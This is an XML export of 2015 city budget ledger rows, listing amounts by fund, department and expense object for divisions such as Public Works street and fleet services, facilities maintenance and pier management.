<row _id="16562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1534.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1534.0</total></row>
<row _id="16563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4599.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4599.0</total></row>
<row _id="16564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="16565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533219.0</object><object_description>BLDG OPER/SUPPLIES-COM FAC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>117000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>117000.0</total></row>
<row _id="16566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533225.0</object><object_description>BLDG/STR MAINT-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>210000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>210000.0</total></row>
<row _id="16567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533228.0</object><object_description>BLDG/STR MAINT-KEN EDWARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="16568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555140.0</object><object_description>PEST CONTROL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="16569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3390.0</total></row>
<row _id="16575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1980.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1980.0</total></row>
<row _id="16576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566330.0</object><object_description>STREET LIGHT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>170000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>170000.0</total></row>
<row _id="16577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4880.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4880.0</total></row>
<row _id="16578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3452.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3452.0</total></row>
<row _id="16579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>20146.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20146.0</total></row>
<row _id="16580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>35120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35120.0</total></row>
<row _id="16581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1029.0</total></row>
<row _id="16582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3093.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3093.0</total></row>
<row _id="16583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>40580.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40580.0</total></row>
<row _id="16584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5240.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5240.0</total></row>
<row _id="16585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2863.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2863.0</total></row>
<row _id="16586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2076.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2076.0</total></row>
<row _id="16587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>734.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>734.0</total></row>
<row _id="16588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="16589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>842.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>842.0</total></row>
<row _id="16590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>153140.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>153140.0</total></row>
<row _id="16591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>350.0</total></row>
<row _id="16592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5992.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5992.0</total></row>
<row _id="16594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7080.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7080.0</total></row>
<row _id="16595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>101675.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101675.0</total></row>
<row _id="16596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2912.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2912.0</total></row>
<row _id="16597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-23052.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-23052.0</total></row>
<row _id="16598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-7945.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7945.0</total></row>
<row _id="16599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>65000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="16600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>63623.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63623.0</total></row>
<row _id="16601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533216.0</object><object_description>BLDG/CUSTODIAL SUPPLIES - LIB</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>67000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67000.0</total></row>
<row _id="16602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG OPER/SUPPLIES-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>45000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45000.0</total></row>
<row _id="16603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566100.0</object><object_description>STREET LIGHT / POLE REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="16604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>81119.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>81119.0</total></row>
<row _id="16605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-15332.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15332.0</total></row>
<row _id="16606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1249687.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1249687.0</total></row>
<row _id="16607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4557.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4557.0</total></row>
<row _id="16608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="16609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522550.0</object><object_description>AD POSTINGS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>36000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36000.0</total></row>
